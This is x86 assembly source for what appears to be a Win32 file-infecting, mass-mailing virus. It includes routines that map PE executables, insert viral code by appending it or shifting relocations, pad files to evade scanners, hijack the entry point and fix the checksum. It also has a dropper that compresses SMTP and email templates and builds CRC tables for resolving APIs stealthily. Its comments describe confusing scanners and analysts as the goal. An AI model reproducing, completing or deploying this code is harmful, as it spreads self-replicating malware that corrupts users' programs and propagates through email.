open_append proc near
push (krncrcstk.kGetTickCount - krncrcstk.klstrlenW) shr 2
pop eax
call store_krnapi
and eax, RANDPADMAX - 1
add ax, small (offset junkhtml_codeend - offset junkhtml_inf + RANDPADMIN)
;-----------------------------------------------------------------------------
;create file map, and map view if successful
;-----------------------------------------------------------------------------
map_view proc near ;eax = extra bytes to map, ebx = file handle, esi -> findlist, ebp -> platform APIs
add eax, dword ptr [esi + findlist.finddata.dwFileSizeLow]
xor ecx, ecx
push eax
push eax ;MapViewOfFile
push ecx ;MapViewOfFile
push ecx ;MapViewOfFile
push FILE_MAP_WRITE ;Windows 9x/Me does not support FILE_MAP_ALL_ACCESS
push ecx
push eax
push ecx
push PAGE_READWRITE
push ecx
push ebx
push (krncrcstk.kCreateFileMappingA - krncrcstk.klstrlenW) shr 2
pop eax ;ANSI map is allowed because of no name
call store_krnapi
push eax
xchg edi, eax
push (krncrcstk.kMapViewOfFile - krncrcstk.klstrlenW) shr 2
pop eax
call store_krnapi
pop ecx
xchg edi, eax ;should succeed even if file cannot be opened
pushad
call unmap_seh
pop eax
pop eax
pop esp
xor eax, eax
pop dword ptr fs:[eax]
pop eax
popad ;SEH destroys all registers
push eax
push edi
push (krncrcstk.kUnmapViewOfFile - krncrcstk.klstrlenW) shr 2
pop eax
call store_krnapi
call cCloseHandle
pop eax
ret
unmap_seh proc near
cdq
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
jmp dword ptr [esp + mapsehstk.mapsehsehret]
unmap_seh endp
map_view endp ;eax = map handle, ecx = new file size, edi = map view
open_append endp
;-----------------------------------------------------------------------------
;determine platform and dynamically select function types (ANSI or Unicode)
;-----------------------------------------------------------------------------
get_krnapis proc near ;place near to jump table for smaller code
call cGetVersion
krnapi_delta label near
shr eax, 1fh
mov ecx, dword ptr [esp - 4] ;no stack change in ring 3
mov ecx, dword ptr [ecx + offset store_krnapi - offset krnapi_delta + 3]
lea ebp, dword ptr [eax * 4 + ecx]
ret
get_krnapis endp
;-----------------------------------------------------------------------------
;indexed API jump table
;-----------------------------------------------------------------------------
clstrcatW proc near
push (krncrcstk.klstrcatW - krncrcstk.klstrlenW) shr 2
jmp call_krncrc
clstrcatW endp
cSleep proc near
push (krncrcstk.kSleep - krncrcstk.klstrlenW) shr 2
jmp call_krncrc
cSleep endp
cSetCurrentDirectoryA proc near
push (krncrcstk.kSetCurrentDirectoryA - krncrcstk.klstrlenW) shr 2
jmp call_krncrc
cSetCurrentDirectoryA endp
cLoadLibraryA proc near
push (krncrcstk.kLoadLibraryA - krncrcstk.klstrlenW) shr 2
jmp call_krncrc
cLoadLibraryA endp
cGlobalFree proc near
push (krncrcstk.kGlobalFree - krncrcstk.klstrlenW) shr 2
jmp call_krncrc
cGlobalFree endp
cGlobalAlloc proc near
push (krncrcstk.kGlobalAlloc - krncrcstk.klstrlenW) shr 2
jmp call_krncrc
cGlobalAlloc endp
cGetVersion proc near
push (krncrcstk.kGetVersion - krncrcstk.klstrlenW) shr 2
jmp call_krncrc
cGetVersion endp
cCreateThread proc near
push (krncrcstk.kCreateThread - krncrcstk.klstrlenW) shr 2
jmp call_krncrc
cCreateThread endp
cCloseHandle proc near
push (krncrcstk.kCloseHandle - krncrcstk.klstrlenW) shr 2
cCloseHandle endp
call_krncrc proc near
pop eax
store_krnapi label near
jmp dword ptr [eax * 4 + '!bgr']
call_krncrc endp
;-----------------------------------------------------------------------------
;infect file in two parts
;algorithm: increase file size by random amount (RANDPADMIN-RANDPADMAX
; bytes) to confuse scanners that look at end of file (also
; infection marker)
; if reloc table is not in last section (taken from relocation
; field in PE header, not section name), then append to last
; section. otherwise, move relocs down and insert code into
; space (to confuse people looking at end of file. they will
; see only relocation data and garbage or many zeroes)
; entry point is altered to point to some code. very simple
; however, that code just drops exe and returns
; exe contains infection routine
;-----------------------------------------------------------------------------
infect_file label near ;esi -> findlist, edi = map view
call open_append
push ecx
push edi
mov ebx, dword ptr [edi + mzhdr.mzlfanew]
lea ebx, dword ptr [ebx + edi + pehdr.pechksum]
xor ecx, ecx
imul cx, word ptr [ebx + pehdr.pecoff.pesectcount - pehdr.pechksum], size pesect
add cx, word ptr [ebx + pehdr.pecoff.peopthdrsize - pehdr.pechksum]
lea esi, dword ptr [ebx + ecx + pehdr.pemagic - pehdr.pechksum - size pesect + pesect.sectrawsize]
lods dword ptr [esi]
mov cx, offset junkhtml_codeend - offset junkhtml_inf
mov edx, dword ptr [ebx + pehdr.pefilealign - pehdr.pechksum]
push eax
add eax, ecx
dec edx
add eax, edx
not edx
and eax, edx ;file align last section
mov dword ptr [esi + pesect.sectrawsize - pesect.sectrawaddr], eax
;-----------------------------------------------------------------------------
;raw size is file aligned. virtual size is not required to be section aligned
;so if old virtual size is larger than new raw size, then size of image does
;not need to be updated, else virtual size must be large enough to cover the
;new code, and size of image is section aligned
;-----------------------------------------------------------------------------
mov ebp, dword ptr [esi + pesect.sectvirtaddr - pesect.sectrawaddr]
cmp dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr], eax
jnb test_reloff
mov dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr], eax
add eax, ebp
mov edx, dword ptr [ebx + pehdr.pesectalign - pehdr.pechksum]
dec edx
add eax, edx
not edx
and eax, edx
mov dword ptr [ebx + pehdr.peimagesize - pehdr.pechksum], eax
;-----------------------------------------------------------------------------
;if relocation table is not in last section, then append to last section
;otherwise, move relocations down and insert code into space
;-----------------------------------------------------------------------------
test_reloff label near
test byte ptr [ebx + pehdr.pecoff.peflags - pehdr.pechksum], IMAGE_FILE_RELOCS_STRIPPED
jne copy_code
cmp dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], ebp
jb copy_code
mov eax, dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr]
add eax, ebp
cmp dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], eax
jnb copy_code
add dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], ecx
pop eax
push esi
add edi, dword ptr [esi]
lea esi, dword ptr [edi + eax - 1]
lea edi, dword ptr [esi + ecx]
xchg ecx, eax
std
rep movs byte ptr [edi], byte ptr [esi]
cld
pop esi
pop edi
push edi
push ecx
xchg ecx, eax
copy_code label near
pop edx
add ebp, edx
xchg ebp, eax
add edx, dword ptr [esi]
add edi, edx
mov esi, expsize + 401000h
rep movs byte ptr [edi], byte ptr [esi]
;-----------------------------------------------------------------------------
;alter entry point
;-----------------------------------------------------------------------------
xchg dword ptr [ebx + pehdr.peentrypoint - pehdr.pechksum], eax
sub eax, offset host_patch - offset junkhtml_inf + 5
sub eax, dword ptr [ebx + pehdr.peentrypoint - pehdr.pechksum]
mov dword ptr [edi + offset host_patch - offset junkhtml_codeend + 1], eax
pop edi
;-----------------------------------------------------------------------------
;CheckSumMappedFile() - simply sum of all words in file, then adc filesize
;-----------------------------------------------------------------------------
xchg dword ptr [ebx], ecx
jecxz infect_ret
xor eax, eax
pop ecx
push ecx
inc ecx
shr ecx, 1
clc
calc_checksum label near
adc ax, word ptr [edi]
inc edi
inc edi
loop calc_checksum
pop dword ptr [ebx]
adc dword ptr [ebx], eax ;avoid common bug. ADC not ADD
infect_ret label near
int 3 ;common exit using SEH
db "*4U2NV*" ;that is, unless you're reading this
test_infect endp
regdll db "advapi32", 0 ;place < 80h bytes from end for smaller code
mail_recip label near ;virtual buffer, 80h bytes
db "'" ;address sentinel - do not remove!
junkhtml_codeend label near
junkhtml_inf endp
endif
.code
dropper label near
push (offset part43 - offset smtp1 + 1)
push GMEM_FIXED
call GlobalAlloc
push eax
mov esi, offset smtp1
xchg edi, eax
call compmain ;smtp1
call compmain ;smtp2
call compmain ;smtp3
call compmain ;smtp4
call compmain ;header1
call compmain ;header2
ife compress_only
lea eax, dword ptr [edi + offset email_block - offset junkhtml_inf + expsize + 401000h]
pop ecx
push ecx
sub eax, ecx
mov dword ptr [offset patch_mime + 1], eax
endif
call compmain ;header31
call compmain ;header32
ife compress_only
lea eax, dword ptr [edi + offset email_block - offset junkhtml_inf + expsize + 401000h]
pop ecx
push ecx
sub eax, ecx
mov dword ptr [offset patch_type + 1], eax
endif
call compmain ;part11
call compmain ;part12
call compmain ;part13
call compmain ;body1
call compmain ;part21
call compmain ;part22
ife compress_only
lea eax, dword ptr [edi + offset email_block - offset junkhtml_inf + expsize + 401000h]
pop ecx
push ecx
sub eax, ecx
mov dword ptr [offset patch_encode + 1], eax
endif
call compmain ;part23
call compmain ;part24
call compmain ;part25
call compmain ;part26
call compmain ;part27
call compmain ;part28
call compmain ;part31
call compmain ;part41
call compmain ;part42
if compress_only
pop esi
push (offset part43 - offset smtp1 + 1) * 7
push GMEM_FIXED
call GlobalAlloc
push eax
push esi
mov ecx, edi
sub ecx, esi
xchg edi, eax
jmp dump_line
dump_outer label near
mov al, ','
stos byte ptr [edi]
test cl, 0fh
jne dump_inner
dec edi
dump_line label near
mov eax, ("bd" shl 10h) + 0a0dh
stos dword ptr [edi]
dump_inner label near
mov ax, "0 "
stos word ptr [edi]
lods byte ptr [esi]
aam 10h
call byt2asc
mov al, 'h'
stos byte ptr [edi]
loop dump_outer
call GlobalFree
xor ebp, ebp
push ebp
push ebp
push CREATE_ALWAYS
push ebp
push ebp
push GENERIC_WRITE
push offset fn_dump
call CreateFileA
xchg ebx, eax
pop eax
push eax
push eax
push esp
sub edi, eax
push edi
push eax
push ebx
call WriteFile
push ebx
call CloseHandle
call GlobalFree
xor ebx, ebx
push ebx
push offset txttitle
push offset txtbody
push ebx
call MessageBoxA
push ebx
call ExitProcess
fn_dump db "email.inc", 0
byt2asc proc near
call nyb2asc
nyb2asc proc near
xchg ah, al
cmp al, 0ah
sbb al, 69h
das
stos byte ptr [edi]
ret
nyb2asc endp
byt2asc endp
else
call GlobalFree
mov edx, expcrc_count
mov ebx, offset expnames
mov edi, offset expcrcbegin
call create_crcs
mov edx, regcrc_count
mov ebx, offset regnames
mov edi, offset regcrcbegin
call create_crcs
mov edx, execrc_count
mov ebx, offset exenames
mov edi, offset execrcbegin
call create_crcs
mov edx, usrcrc_count
mov ebx, offset usrnames
mov edi, offset usrcrcbegin
call create_crcs
mov edx, svccrc_count
mov ebx, offset svcnames
mov edi, offset svccrcbegin
call create_crcs
mov edx, krncrc_count
mov ebx, offset krnnames
mov edi, offset krncrcbegin
call create_crcs
mov edx, sfccrc_count
mov ebx, offset sfcnames
mov edi, offset sfccrcbegin
call create_crcs
mov edx, ws2crc_count
mov ebx, offset ws2names
mov edi, offset ws2crcbegin
call create_crcs
mov edx, netcrc_count
mov ebx, offset netnames
mov edi, offset netcrcbegin
call create_crcs
mov edx, ip9xcrc_count
mov ebx, offset ip9xnames
mov edi, offset ip9xcrcbegin
call create_crcs
mov edx, ipntcrc_count
mov ebx, offset ipntnames
mov edi, offset ipntcrcbegin
call create_crcs
call patch_host
xor ebx, ebx
push ebx
push offset txttitle
push offset txtbody
push ebx
call MessageBoxA
push ebx
call ExitProcess
create_crcs proc near
imul ebp, edx, 4
create_loop label near
or eax, -1
create_outer label near
xor al, byte ptr [ebx]
push 8
pop ecx
create_inner label near
add eax, eax
jnb create_skip
xor eax, 4c11db7h ;use generator polymonial (see IEEE 802)
create_skip label near
loop create_inner
sub cl, byte ptr [ebx] ;carry set if not zero
inc ebx ;carry not altered by inc
jb create_outer
push eax
dec edx
jne create_loop
mov eax, esp
push ecx
push ebp
push eax
push edi
call GetCurrentProcess
push eax
xchg esi, eax
call WriteProcessMemory
add esp, ebp
ret
create_crcs endp
endif
compcall proc near
js compmain
call compress
compmain label near
xor eax, eax
lods byte ptr [esi]
stos byte ptr [edi]
test al, al
jne compcall
ret
compcall endp
;-----------------------------------------------------------------------------
;4/5-bit text compressor by RT Fishel, based on algorithm by qkumba in 1986!
;compresses A-Z, a-z, 0-9, 3 user characters, lookup table for more characters
;fits 66 characters into 5 bits. qkumba coding makes it possible ;)
;-----------------------------------------------------------------------------
compress proc near ;al -> src length, esi -> src buffer, edi -> dst buffer
xchg ebx, eax
mov bh, 5
mov cx, ('A' shl 8) + 16
xor ebp, ebp
comploop label near
lods byte ptr [esi]
push 1bh ;base switch
pop edx
cmp al, user1
je compuser123
cmp al, user2
je compuser123
cmp al, user3
je compuser123
push ecx
push edi
push offset usertable_e - offset usertable
pop ecx
mov ah, cl
mov edi, offset usertable
repne scas byte ptr [edi]
mov al, cl
pop edi
pop ecx
je compuser5
dec esi
lods byte ptr [esi]
;-----------------------------------------------------------------------------
;set case before switching base to alphabetic to save 1 bit
;-----------------------------------------------------------------------------
mov ah, al
test al, 'A' - 1
je compnumer
and al, 'a' - 1
inc eax
cmp ch, al
je compalpha
mov ch, al
push edx
dec edx ;case switch
call compstore
pop edx
compalpha label near
sub ah, al
compnumer label near
;-----------------------------------------------------------------------------
;check if base switch is required
;-----------------------------------------------------------------------------
shr al, 6
add al, 4
cmp bh, al
je compextend
call compstore ;store base switch
xor bh, 1
compextend label near
movzx edx, ah
compuser1 label near
call compstore ;store character
comptest label near
dec bl
jne comploop
ret
compuser123 label near
;-----------------------------------------------------------------------------
;if base is alphabetic and bytes left and next character is numeric, then
;switch base to numeric before storing user char to save 1 bit
;-----------------------------------------------------------------------------
cmp bh, 5
jne compchar
cmp bl, 1
je compchar ;no bytes left
cmp byte ptr [esi], '0'
jb compchar
cmp byte ptr [esi], '9'
jnbe compchar
call compstore ;store base switch
mov bh, 4
compchar label near
push 1dh ;user1
pop edx
cmp al, user1
je compuser1
inc edx ;user2
cmp al, user2
je compuser1
inc edx ;user3
jmp compuser1
compuser5 label near
sub ah, al
;-----------------------------------------------------------------------------
;if base is numeric, and char is out of numeric range, then switch base to
;alphabetic, store char, then restore base unless next char is alphabetic
;-----------------------------------------------------------------------------
push edx
xor al, al
cmp bh, 4
jne compindex
cmp ah, 0fh
jbe compindex
inc eax
call compstore ;store base switch
mov bh, 5
compindex label near
push 1ch ;user 5 (lookup table)
pop edx
call compstore
movzx edx, ah
call compstore ;store character
pop edx
test al, al
je comptest
cmp bl, al
je comptest ;no bytes left
mov al, byte ptr [esi]
cmp al, 'A'
jb comprestore
and al, not ' '
cmp al, 'Z'
jbe comptest
comprestore label near
call compstore ;store base switch
mov bh, 4
jmp comptest
compstore proc near
and dl, 1fh
push ebx
cmp bl, 1
jne compstmask
cmp dl, 1ah
jb compstmask
cmp dl, 1dh
adc bl, 0 ;avoid flush for multibyte
compstmask label near
cmp bh, 5
je compstoreb
and dl, 0fh
compstoreb label near
sub cl, bh
shl edx, cl
or ebp, edx
cmp cl, 8
jnbe compsttest
compstflush label near
xchg ebp, eax
xchg ah, al
stos byte ptr [edi]
xor al, al
xchg ebp, eax
add cl, 8
compsttest label near
cmp bl, 1
jne compstret
cmp cl, 10h
jb compstflush ;force flush low byte
compstret label near
pop ebx
ret
compstore endp
compress endp
end dropper
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